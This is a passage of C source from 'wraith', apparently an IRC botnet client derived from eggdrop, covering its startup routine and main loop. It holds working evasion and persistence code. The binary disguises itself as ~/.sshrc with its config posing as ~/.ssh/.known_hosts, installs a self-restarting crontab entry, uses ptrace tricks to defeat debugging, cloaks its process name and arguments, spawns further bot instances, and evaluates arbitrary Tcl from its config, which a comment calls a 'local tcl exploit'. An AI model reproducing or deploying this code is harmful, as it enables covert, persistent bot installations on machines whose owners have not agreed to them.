  798. sdprintf("got_Ed called: -%s i: %s o: %s", which, in, out);
  799. if (!in || !out)
  800. fatal("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>",0);
  801. checkpass();
  802. check_static("blowfish", blowfish_start);
  803. module_load(ENCMOD);
  804. if (!strcmp(which, "e")) {
  805. EncryptFile(in, out);
  806. fatal("File Encryption complete",3);
  807. } else if (!strcmp(which, "d")) {
  808. DecryptFile(in, out);
  809. fatal("File Decryption complete",3);
  810. }
  811. exit(0);
  812. }
  813. static inline void garbage_collect(void)
  814. {
  815. static u_8bit_t run_cnt = 0;
  816. if (run_cnt == 3)
  817. garbage_collect_tclhash();
  818. else
  819. run_cnt++;
  820. }
  821. int crontab_exists() {
  822. char buf[2048], *out=NULL;
  823. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  824. if (shell_exec(buf, NULL, &out, NULL)) {
  825. if (out && strstr(out, binname)) {
  826. nfree(out);
  827. return 1;
  828. } else {
  829. if (out)
  830. nfree(out);
  831. return 0;
  832. }
  833. } else
  834. return (-1);
  835. }
  836. void crontab_create(int interval) {
  837. char tmpfile[161],
  838. buf[256];
  839. FILE *f;
  840. int fd;
  841. /* always use mkstemp() when handling temp files! -dizz */
  842. sprintf(tmpfile, STR("%s.crontab-XXXXXX"), tempdir);
  843. if ((fd = mkstemp(tmpfile)) == -1) {
  844. unlink(tmpfile);
  845. return;
  846. }
  847. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  848. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  849. buf[0] = 0;
  850. if (interval == 1)
  851. strcpy(buf, "*");
  852. else {
  853. int i = 1;
  854. int si = random() % interval;
  855. while (i < 60) {
  856. if (buf[0])
  857. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  858. else
  859. sprintf(buf, "%i", (i + si) % 60);
  860. i += interval;
  861. }
  862. }
  863. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  864. fseek(f, 0, SEEK_END);
  865. fprintf(f, STR("\n%s\n"), buf);
  866. fclose(f);
  867. sprintf(buf, STR("crontab %s"), tmpfile);
  868. shell_exec(buf, NULL, NULL, NULL);
  869. }
  870. unlink(tmpfile);
  871. }
  872. static void check_crontab()
  873. {
  874. int i = 0;
  875. #ifdef LEAF
  876. if (!localhub)
  877. fatal("something is wrong.", 0);
  878. #endif
  879. i=crontab_exists();
  880. if (!i) {
  881. crontab_create(5);
  882. i=crontab_exists();
  883. if (!i)
  884. printf("* Error writing crontab entry.\n");
  885. }
  886. }
  887. #ifdef LEAF
  888. static void gotspawn(char *filename)
  889. {
  890. FILE *fp;
  891. char templine[8192], *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps;
  892. if (!(fp = fopen(filename, "r")))
  893. fatal("Cannot read from local config (2)", 0);
  894. check_static("blowfish", blowfish_start);
  895. module_load(ENCMOD);
  896. while(fscanf(fp,"%[^\n]\n",templine) != EOF)
  897. {
  898. Context;
  899. temps = (char *) decrypt_string(netpass, decryptit(templine));
  900. #ifdef S_PSCLOAK
  901. sdprintf("GOTSPAWN: %s", temps);
  902. #endif /* S_PSCLOAK */
  903. pscloak = atoi(newsplit(&temps));
  904. if (temps[0])
  905. nick = newsplit(&temps);
  906. if (!nick)
  907. fatal("invalid config (2).",0);
  908. if (temps[0])
  909. ip = newsplit(&temps);
  910. if (temps[0])
  911. host = newsplit(&temps);
  912. if (temps[0])
  913. ipsix = newsplit(&temps);
  914. snprintf(origbotname, 10, "%s", nick);
  915. if (ip[1]) {
  916. if (ip[0] == '!') { //natip
  917. ip++;
  918. sprintf(natip,"%s",ip);
  919. } else {
  920. snprintf(myip, 120, "%s", ip);
  921. }
  922. }
  923. if (host && host[1]) {
  924. if (host[0] == '+') { //ip6 host
  925. host++;
  926. sprintf(hostname6,"%s",host);
  927. } else { //normal ip4 host
  928. sprintf(hostname,"%s",host);
  929. }
  930. }
  931. if (ipsix && ipsix[1]) {
  932. snprintf(myip6, 120, "%s", ipsix);
  933. }
  934. }
  935. fclose(fp);
  936. unlink(filename);
  937. }
  938. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  939. {
  940. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  941. FILE *fp;
  942. sprintf(buf, "%s", bin);
  943. sprintf(bindir, "%s", dirname(buf));
  944. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  945. if (!(fp = fopen(buf, "w")))
  946. fatal("Cannot create spawnfiles...", 0);
  947. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip ? ip : ".", host ? host : ".", ipsix ? ipsix : ".");
  948. fflush(fp);
  949. fclose(fp);
  950. sprintf(bufrun, "%s -c %s", bin, buf);
  951. return system(bufrun);
  952. }
  953. #endif
  954. void check_trace_start()
  955. {
  956. #ifdef S_ANTITRACE
  957. int parent = getpid();
  958. int xx = 0, i = 0;
  959. #ifdef __linux__
  960. xx = fork();
  961. if (xx == -1) {
  962. printf(STR("Can't fork process!\n"));
  963. exit(1);
  964. } else if (xx == 0) {
  965. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  966. if (i == (-1) && errno == EPERM) {
  967. kill(parent, SIGKILL);
  968. exit(1);
  969. } else {
  970. waitpid(parent, &i, 0);
  971. kill(parent, SIGCHLD);
  972. ptrace(PTRACE_DETACH, parent, 0, 0);
  973. kill(parent, SIGCHLD);
  974. }
  975. exit(0);
  976. } else {
  977. wait(&i);
  978. }
  979. #endif /* __linux__ */
  980. #ifdef __FreeBSD__
  981. xx = fork();
  982. if (xx == -1) {
  983. printf(STR("Can't fork process!\n"));
  984. exit(1);
  985. } else if (xx == 0) {
  986. i = ptrace(PT_ATTACH, parent, 0, 0);
  987. if (i == (-1) && errno == EBUSY) {
  988. kill(parent, SIGKILL);
  989. exit(1);
  990. } else {
  991. wait(&i);
  992. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  993. kill(parent, SIGCHLD);
  994. wait(&i);
  995. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  996. wait(&i);
  997. }
  998. exit(0);
  999. } else {
  1000. waitpid(xx, NULL, 0);
  1001. }
  1002. #endif /* __FreeBSD__ */
  1003. #ifdef __OpenBSD__
  1004. xx = fork();
  1005. if (xx == -1) {
  1006. printf(STR("Can't fork process!\n"));
  1007. exit(1);
  1008. } else if (xx == 0) {
  1009. i = ptrace(PT_ATTACH, parent, 0, 0);
  1010. if (i == (-1) && errno == EBUSY) {
  1011. kill(parent, SIGKILL);
  1012. exit(1);
  1013. } else {
  1014. wait(&i);
  1015. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1016. kill(parent, SIGCHLD);
  1017. wait(&i);
  1018. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1019. wait(&i);
  1020. }
  1021. exit(0);
  1022. } else {
  1023. waitpid(xx, NULL, 0);
  1024. }
  1025. #endif /* __OpenBSD__ */
  1026. #endif /* S_ANTITRACE */
  1027. }
  1028. int main(int argc, char **argv)
  1029. {
  1030. int xx, i;
  1031. #ifdef LEAF
  1032. int x = 1;
  1033. #endif
  1034. char buf[SGRAB + 9], s[25];
  1035. FILE *f;
  1036. struct sigaction sv;
  1037. struct chanset_t *chan;
  1038. #ifdef LEAF
  1039. int skip = 0;
  1040. FILE *fp;
  1041. struct passwd *pw;
  1042. char newbinbuf[DIRMAX], newbin[DIRMAX], confdir[DIRMAX], tmp[DIRMAX],
  1043. cfile[DIRMAX], templine[8192], *temps;
  1044. int ok = 1;
  1045. #else
  1046. char confdir[DIRMAX], tmp[DIRMAX], cfile[DIRMAX], templine[8192], *temps;
  1047. char tmpdir[DIRMAX];
  1048. #endif
  1049. char c[1024], *vers_n, *unix_n;
  1050. #ifdef HAVE_UNAME
  1051. struct utsname un;
  1052. #endif
  1053. char check[100];
  1054. #ifdef DEBUG_MEM
  1055. /* Make sure it can write core, if you make debug. Else it's pretty
  1056. * useless (dw)
  1057. */
  1058. {
  1059. #include <sys/resource.h>
  1060. struct rlimit cdlim, plim, fdlim, rsslim, stacklim;
  1061. // rsslim.rlim_cur = 30720;
  1062. // rsslim.rlim_max = 30720;
  1063. // setrlimit(RLIMIT_RSS, &rsslim);
  1064. // stacklim.rlim_cur = 30720;
  1065. // stacklim.rlim_max = 30720;
  1066. // setrlimit(RLIMIT_STACK, &stacklim);
  1067. plim.rlim_cur = 50;
  1068. plim.rlim_max = 50;
  1069. setrlimit(RLIMIT_NPROC, &plim);
  1070. fdlim.rlim_cur = 200;
  1071. fdlim.rlim_max = 200;
  1072. //#ifdef __FreeBSD__
  1073. // setrlimit(RLIMIT_OFILE, &fdlim);
  1074. //#else
  1075. setrlimit(RLIMIT_NOFILE, &fdlim);
  1076. //#endif
  1077. cdlim.rlim_cur = RLIM_INFINITY;
  1078. cdlim.rlim_max = RLIM_INFINITY;
  1079. setrlimit(RLIMIT_CORE, &cdlim);
  1080. }
  1081. #endif
  1082. /* Initialise context list */
  1083. for (i = 0; i < 16; i++)
  1084. Context;
  1085. /* Version info! */
  1086. egg_snprintf(ver, sizeof ver, "wraith %s", egg_version);
  1087. egg_snprintf(version, sizeof version, "wraith %s", egg_version);
  1088. /* Now add on the patchlevel (for Tcl) */
  1089. sprintf(&egg_version[strlen(egg_version)], " %u", egg_numver);
  1090. #ifdef STOP_UAC
  1091. {
  1092. int nvpair[2];
  1093. nvpair[0] = SSIN_UACPROC;
  1094. nvpair[1] = UAC_NOPRINT;
  1095. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  1096. }
  1097. #endif
  1098. /* Set up error traps: */
  1099. sv.sa_handler = got_bus;
  1100. sigemptyset(&sv.sa_mask);
  1101. #ifdef SA_RESETHAND
  1102. sv.sa_flags = SA_RESETHAND;
  1103. #else
  1104. sv.sa_flags = 0;
  1105. #endif
  1106. sigaction(SIGBUS, &sv, NULL);
  1107. sv.sa_handler = got_segv;
  1108. sigaction(SIGSEGV, &sv, NULL);
  1109. #ifdef SA_RESETHAND
  1110. sv.sa_flags = 0;
  1111. #endif
  1112. sv.sa_handler = got_fpe;
  1113. sigaction(SIGFPE, &sv, NULL);
  1114. sv.sa_handler = got_term;
  1115. sigaction(SIGTERM, &sv, NULL);
  1116. sv.sa_handler = got_stop;
  1117. sigaction(SIGSTOP, &sv, NULL);
  1118. #ifdef S_HIJACKCHECK
  1119. sv.sa_handler = got_cont;
  1120. sigaction(SIGCONT, &sv, NULL);
  1121. #endif
  1122. sv.sa_handler = got_hup;
  1123. sigaction(SIGHUP, &sv, NULL);
  1124. sv.sa_handler = got_quit;
  1125. sigaction(SIGQUIT, &sv, NULL);
  1126. sv.sa_handler = SIG_IGN;
  1127. sigaction(SIGPIPE, &sv, NULL);
  1128. sv.sa_handler = got_ill;
  1129. sigaction(SIGILL, &sv, NULL);
  1130. sv.sa_handler = got_alarm;
  1131. sigaction(SIGALRM, &sv, NULL);
  1132. Context;
  1133. /* Initialize variables and stuff */
  1134. now = time(NULL);
  1135. chanset = NULL;
  1136. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  1137. lastmin = nowtm.tm_min;
  1138. srandom(now % (getpid() + getppid()));
  1139. init_mem();
  1140. myuid = geteuid();
  1141. binname = getfullbinname(argv[0]);
  1142. check_trace_start();
  1143. if (!can_stat(binname))
  1144. werr(ERR_BINSTAT);
  1145. if (!fixmod(binname))
  1146. werr(ERR_BINMOD);
  1147. init_settings();
  1148. init_tcl(argc, argv);
  1149. if (argc) {
  1150. sdprintf("Calling dtx_arg with %d params.", argc);
  1151. dtx_arg(argc, argv);
  1152. }
  1153. #ifdef LEAF
  1154. sdprintf("my uid: %d my uuid: %d, my ppid: %d my pid: %d", getuid(), geteuid(), getppid(), getpid());
  1155. Context;
  1156. pw = getpwuid(geteuid());
  1157. if (!pw)
  1158. werr(ERR_PASSWD);
  1159. chdir(pw->pw_dir);
  1160. snprintf(newbin, sizeof newbin, "%s/.sshrc", pw->pw_dir);
  1161. snprintf(confdir, sizeof confdir, "%s/.ssh", pw->pw_dir);
  1162. snprintf(tempdir, sizeof tempdir, "%s/...", confdir);
  1163. #endif /* LEAF */
  1164. #ifdef HUB
  1165. snprintf(tmpdir, sizeof tmpdir, "%s", binname);
  1166. snprintf(confdir, sizeof confdir, "%s", dirname(tmpdir));
  1167. snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir);
  1168. #endif /* HUB */
  1169. #ifdef LEAF
  1170. /* is the homedir a symlink? */
  1171. sdprintf("newbin starts at: %s", newbin);
  1172. /* fuck it, I hate dealing with this shit.
  1173. if (!can_stat(newbin)) {
  1174. int f = 0;
  1175. if (ss.st_mode & S_IFLNK) { //stupid symlinked home dirs !
  1176. f = readlink(newbin, newbinbuf, sizeof newbinbuf);
  1177. if (!f) {
  1178. sdprintf("symlink newbin: %s", newbin);
  1179. strcpy(newbin, newbinbuf);
  1180. sdprintf("newbin is now: %s", newbin);
  1181. } else {
  1182. sdprintf("readlink failed on %s with error %d erno %d", newbin, f, errno);
  1183. //fuck it. (no paths)
  1184. sprintf(newbin, ".sshrc");
  1185. copyfile(binname, newbin);
  1186. skip = 1;
  1187. }
  1188. }
  1189. }
  1190. sdprintf(STR("skip is: %d"), skip);
  1191. */
  1192. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  1193. sdprintf("wrong dir, is: %s :: %s", binname, newbin);
  1194. unlink(newbin);
  1195. if (copyfile(binname,newbin))
  1196. ok = 0;
  1197. if (ok)
  1198. if (!can_stat(newbin)) {
  1199. unlink(newbin);
  1200. ok = 0;
  1201. }
  1202. if (ok)
  1203. if (!fixmod(newbin)) {
  1204. unlink(newbin);
  1205. ok = 0;
  1206. }
  1207. if (!ok)
  1208. werr(ERR_WRONGBINDIR);
  1209. else {
  1210. unlink(binname);
  1211. if (system(newbin)) {
  1212. sdprintf(STR("exiting due to problem with restarting new binary."));
  1213. exit(1);
  1214. } else {
  1215. sdprintf(STR("exiting to let new binary run.\n"));
  1216. exit(0); //This is to spawn the new binary in the correct place.
  1217. }
  1218. }
  1219. }
  1220. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  1221. #endif /* LEAF */
  1222. snprintf(tmp, sizeof tmp, "%s/", confdir);
  1223. if (!can_stat(tmp)) {
  1224. #ifdef LEAF
  1225. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1226. unlink(confdir);
  1227. if (!can_stat(confdir))
  1228. if (mkdir(confdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1229. #endif /* LEAF */
  1230. werr(ERR_CONFSTAT);
  1231. #ifdef LEAF
  1232. }
  1233. #endif /* LEAF */
  1234. }
  1235. snprintf(tmp, sizeof tmp, "%s/", tempdir);
  1236. if (!can_stat(tmp)) {
  1237. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1238. unlink(tempdir);
  1239. if (!can_stat(tempdir))
  1240. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1241. werr(ERR_TMPSTAT);
  1242. }
  1243. }
  1244. if (!fixmod(confdir))
  1245. werr(ERR_CONFDIRMOD);
  1246. if (!fixmod(tempdir))
  1247. werr(ERR_TMPMOD);
  1248. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1249. #ifdef LEAF
  1250. snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir);
  1251. #else
  1252. snprintf(cfile, sizeof cfile, "%s/conf", confdir);
  1253. #endif /* LEAF */
  1254. if (!can_stat(cfile))
  1255. werr(ERR_NOCONF);
  1256. if (!fixmod(cfile))
  1257. werr(ERR_CONFMOD);
  1258. Context;
  1259. init_dcc_max();
  1260. init_userent();
  1261. init_misc();
  1262. init_bots();
  1263. init_net();
  1264. init_modules();
  1265. init_userrec();
  1266. if (backgrd)
  1267. bg_prepare_split();
  1268. #ifndef LEAF
  1269. kill_tcl();
  1270. init_tcl(argc, argv);
  1271. #endif /* LEAF */
  1272. init_botcmd();
  1273. link_statics();
  1274. module_load(ENCMOD);
  1275. #ifdef LEAF
  1276. if (localhub) { //we only want to read the config if we are the spawn bot..
  1277. #endif /* LEAF */
  1278. #ifdef HAVE_UNAME
  1279. if (uname(&un) < 0) {
  1280. #endif /* HAVE_UNAME */
  1281. unix_n = "*unkown*";
  1282. vers_n = "";
  1283. #ifdef HAVE_UNAME
  1284. } else {
  1285. unix_n = un.nodename;
  1286. #ifdef __FreeBSD__
  1287. vers_n = un.release;
  1288. #else
  1289. vers_n = un.version;
  1290. #endif /* __FreeBSD__ */
  1291. }
  1292. #endif /* HAVE_UNAME */
  1293. i = 0;
  1294. if (!(f = fopen(cfile, "r")))
  1295. werr(0);
  1296. Context;
  1297. while(fscanf(f,"%[^\n]\n",templine) != EOF) {
  1298. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  1299. int skip = 0;
  1300. if (templine[0] != '+') {
  1301. printf(STR("%d: "), i);
  1302. werr(ERR_CONFBADENC);
  1303. }
  1304. temps = (char *) decrypt_string(netpass, decryptit(templine));
  1305. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1306. printf(STR("%d: "), i);
  1307. werr(ERR_CONFBADENC);
  1308. }
  1309. snprintf(c, sizeof c, "%s",temps);
  1310. if (c[0] == '*')
  1311. skip = 1;
  1312. else if (c[0] == '-' && !skip) { //this is the uid
  1313. newsplit(&temps);
  1314. if (geteuid() != atoi(temps)) {
  1315. sdprintf("wrong uid, conf: %d :: %d", atoi(temps), geteuid());
  1316. werr(ERR_WRONGUID);
  1317. }
  1318. } else if (c[0] == '+' && !skip) { //this is the uname
  1319. int r = 0;
  1320. newsplit(&temps);
  1321. snprintf(check, sizeof check, "%s %s", unix_n, vers_n);
  1322. if ((r = strcmp(temps, check))) {
  1323. sdprintf("wrong uname, conf: %s :: %s", check, temps);
  1324. werr(ERR_WRONGUNAME);
  1325. }
  1326. } else if (c[0] == '!') { //local tcl exploit
  1327. if (c[1] == '-') { //dont use pscloak
  1328. #ifdef S_PSCLOAK
  1329. sdprintf("NOT CLOAKING");
  1330. #endif /* S_PSCLOAK */
  1331. pscloak = 0;
  1332. } else {
  1333. newsplit(&temps);
  1334. Tcl_Eval(interp, temps);
  1335. }
  1336. } else if (c[0] != '#') { //now to parse nick/hosts
  1337. //we have the right uname/uid, safe to setup crontab now.
  1338. i++;
  1339. nick = newsplit(&temps);
  1340. if (!nick || !nick[0])
  1341. werr(ERR_BADCONF);
  1342. sdprintf("Read nick from config: %s", nick);
  1343. if (temps[0])
  1344. ip = newsplit(&temps);
  1345. if (temps[0])
  1346. host = newsplit(&temps);
  1347. if (temps[0])
  1348. ipsix = newsplit(&temps);
  1349. if (i == 1) { //this is the first bot ran/parsed
  1350. strncpyz(s, ctime(&now), sizeof s);
  1351. strcpy(&s[11], &s[20]);
  1352. printf("--- Loading %s (%s)\n\n", ver, s);
  1353. if (ip && ip[0] == '!') { //natip
  1354. ip++;
  1355. sprintf(natip, "%s",ip);
  1356. } else {
  1357. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  1358. snprintf(myip, 120, "%s", ip);
  1359. }
  1360. snprintf(origbotname, 10, "%s", nick);
  1361. #ifdef HUB
  1362. sprintf(userfile, "%s/.%s.user", confdir, nick);
  1363. #endif /* HUB */
  1364. /* log sprintf(logfile, "%s/.%s.log", confdir, nick); */
  1365. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  1366. if (host[0] == '+') { //ip6 host
  1367. host++;
  1368. sprintf(hostname6, "%s",host);
  1369. } else //normal ip4 host
  1370. sprintf(hostname, "%s",host);
  1371. }
  1372. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  1373. snprintf(myip6, 120, "%s",ipsix);
  1374. }
  1375. }
  1376. #ifdef LEAF
  1377. else { //these are the rest of the bots..
  1378. char buf2[DIRMAX];
  1379. xx = 0, x = 0, errno = 0;
  1380. s[0] = '\0';
  1381. /* first let's determine if the bot is already running or not.. */
  1382. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, nick);
  1383. fp = fopen(buf2, "r");
  1384. if (fp != NULL) {
  1385. fgets(s, 10, fp);
  1386. fclose(fp);
  1387. xx = atoi(s);
  1388. if (updating) {
  1389. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1390. unlink(buf2);
  1391. }
  1392. kill(xx, SIGCHLD);
  1393. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1394. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1395. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1396. }
  1397. } else {
  1398. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1399. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1400. }
  1401. }
  1402. #endif /* LEAF */
  1403. } // if read in[0] != #
  1404. temps = 0;
  1405. }
  1406. fclose(f);
  1407. #ifdef LEAF
  1408. if (updating)
  1409. exit(0); //let the 5 min timer restart us.
  1410. } // (localhub)
  1411. #endif /* LEAF */
  1412. module_load("dns");
  1413. module_load("channels");
  1414. #ifdef LEAF
  1415. module_load("server");
  1416. module_load("irc");
  1417. #endif /* LEAF */
  1418. module_load("transfer");
  1419. module_load("share");
  1420. module_load("update");
  1421. module_load("notes");
  1422. module_load("console");
  1423. module_load("ctcp");
  1424. module_load("compress");
  1425. chanprog();
  1426. #ifdef LEAF
  1427. if (localhub) {
  1428. sdprintf("I am localhub (%s)", origbotname);
  1429. #endif /* LEAF */
  1430. check_crontab();
  1431. #ifdef LEAF
  1432. }
  1433. #endif
  1434. if (!encrypt_pass) {
  1435. printf(MOD_NOCRYPT);
  1436. bg_send_quit(BG_ABORT);
  1437. exit(1);
  1438. }
  1439. //temp
  1440. cache_miss = 0;
  1441. cache_hit = 0;
  1442. if (!pid_file[0])
  1443. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1444. f = fopen(pid_file, "r");
  1445. if ((localhub && !updating) || !localhub) {
  1446. if (f != NULL) {
  1447. fgets(s, 10, f);
  1448. xx = atoi(s);
  1449. kill(xx, SIGCHLD);
  1450. if (errno != ESRCH) { //!= is PID is running.
  1451. bg_send_quit(BG_ABORT);
  1452. exit(1);
  1453. }
  1454. }
  1455. }
  1456. #ifdef LEAF
  1457. #ifdef S_PSCLOAK
  1458. if (pscloak) {
  1459. int on = 0;
  1460. strncpy(argv[0],progname(),strlen(argv[0]));
  1461. //this clears all the params..
  1462. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1463. }
  1464. #endif /* PSCLOAK */
  1465. #endif /* LEAF */
  1466. i = 0;
  1467. for (chan = chanset; chan; chan = chan->next)
  1468. i++;
  1469. putlog(LOG_MISC, "*", "=== %s: %d channels, %d users.",
  1470. botnetnick, i, count_users(userlist));
  1471. /* Move into background? */
  1472. if (backgrd) {
  1473. #ifndef CYGWIN_HACKS
  1474. bg_do_split();
  1475. } else { /* !backgrd */
  1476. #endif /* CYGWIN_HACKS */
  1477. xx = getpid();
  1478. if (xx != 0) {
  1479. FILE *fp;
  1480. /* Write pid to file */
  1481. unlink(pid_file);
  1482. fp = fopen(pid_file, "w");
  1483. if (fp != NULL) {
  1484. fprintf(fp, "%u\n", xx);
  1485. if (fflush(fp)) {
  1486. /* Let the bot live since this doesn't appear to be a botchk */
  1487. printf(EGG_NOWRITE, pid_file);
  1488. fclose(fp);
  1489. unlink(pid_file);
  1490. } else
  1491. fclose(fp);
  1492. } else
  1493. printf(EGG_NOWRITE, pid_file);
  1494. #ifdef CYGWIN_HACKS
  1495. printf("Launched into the background (pid: %d)\n\n", xx);
  1496. #endif /* CYGWIN_HACKS */
  1497. }
  1498. }
  1499. use_stderr = 0; /* Stop writing to stderr now */
  1500. if (backgrd) {
  1501. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1502. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1503. setpgid(0, 0);
  1504. #endif
  1505. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1506. freopen("/dev/null", "r", stdin);
  1507. freopen("/dev/null", "w", stdout);
  1508. freopen("/dev/null", "w", stderr);
  1509. #ifdef CYGWIN_HACKS
  1510. FreeConsole();
  1511. #endif /* CYGWIN_HACKS */
  1512. }
  1513. /* Terminal emulating dcc chat */
  1514. if (!backgrd && term_z) {
  1515. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1516. dcc[n].addr = iptolong(getmyip());
  1517. dcc[n].sock = STDOUT;
  1518. dcc[n].timeval = now;
  1519. dcc[n].u.chat->con_flags = conmask;
  1520. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1521. dcc[n].status = STAT_ECHO;
  1522. strcpy(dcc[n].nick, "HQ");
  1523. strcpy(dcc[n].host, "llama@console");
  1524. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1525. /* Make sure there's an innocuous HQ user if needed */
  1526. if (!dcc[n].user) {
  1527. userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1528. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1529. }
  1530. setsock(STDOUT, 0); /* Entry in net table */
  1531. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1532. dcc_chatter(n);
  1533. }
  1534. then = now;
  1535. online_since = now;
  1536. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1537. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1538. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1539. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1540. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1541. add_hook(HOOK_REHASH, (Function) event_rehash);
  1542. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1543. add_hook(HOOK_USERFILE, (Function) event_save);
  1544. #ifdef HUB
  1545. add_hook(HOOK_BACKUP, (Function) backup_userfile);
  1546. #endif /* HUB */
  1547. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1548. add_hook(HOOK_LOADED, (Function) event_loaded);
  1549. call_hook(HOOK_LOADED);
  1550. debug0("main: entering loop");
  1551. while (1) {
  1552. int socket_cleanup = 0;
  1553. #if !defined(HAVE_PRE7_5_TCL)
  1554. /* Process a single tcl event */
  1555. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1556. #endif
  1557. /* Lets move some of this here, reducing the numer of actual
  1558. * calls to periodic_timers
  1559. */
  1560. now = time(NULL);
  1561. random(); /* Woop, lets really jumble things */
  1562. if (now != then) { /* Once a second */
  1563. call_hook(HOOK_SECONDLY);
  1564. then = now;
  1565. }
  1566. /* Only do this every so often. */
  1567. if (!socket_cleanup) {
  1568. socket_cleanup = 5;
  1569. /* Remove dead dcc entries. */
  1570. dcc_remove_lost();
  1571. /* Check for server or dcc activity. */
  1572. dequeue_sockets();
  1573. } else
  1574. socket_cleanup--;
  1575. /* Free unused structures. */
  1576. garbage_collect();
  1577. xx = sockgets(buf, &i);
  1578. if (xx >= 0) { /* Non-error */
  1579. int idx;
  1580. for (idx = 0; idx < dcc_total; idx++)
  1581. if (dcc[idx].sock == xx) {
  1582. if (dcc[idx].type && dcc[idx].type->activity) {
  1583. /* Traffic stats */
  1584. if (dcc[idx].type->name) {
  1585. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1586. itraffic_bn_today += strlen(buf) + 1;
  1587. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1588. itraffic_irc_today += strlen(buf) + 1;
  1589. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1590. itraffic_dcc_today += strlen(buf) + 1;
  1591. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1592. itraffic_dcc_today += strlen(buf) + 1;
  1593. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1594. itraffic_trans_today += strlen(buf) + 1;
  1595. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1596. itraffic_trans_today += strlen(buf) + 1;
  1597. else
  1598. itraffic_unknown_today += strlen(buf) + 1;
  1599. }
  1600. dcc[idx].type->activity(idx, buf, i);
  1601. } else
  1602. putlog(LOG_MISC, "*",
  1603. "!!! untrapped dcc activity: type %s, sock %d",
  1604. dcc[idx].type->name, dcc[idx].sock);
  1605. break;
  1606. }
  1607. } else if (xx == -1) { /* EOF from someone */
  1608. int idx;
  1609. if (i == STDOUT && !backgrd)
  1610. fatal("END OF FILE ON TERMINAL", 0);
  1611. for (idx = 0; idx < dcc_total; idx++)
  1612. if (dcc[idx].sock == i) {
  1613. if (dcc[idx].type && dcc[idx].type->eof)
  1614. dcc[idx].type->eof(idx);
  1615. else {
  1616. putlog(LOG_MISC, "*",
  1617. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1618. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1619. killsock(i);
  1620. lostdcc(idx);
  1621. }
  1622. idx = dcc_total + 1;
  1623. }
  1624. if (idx == dcc_total) {
  1625. putlog(LOG_MISC, "*",
  1626. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1627. close(i);
  1628. killsock(i);
  1629. }
  1630. } else if (xx == -2 && errno != EINTR) { /* select() error */
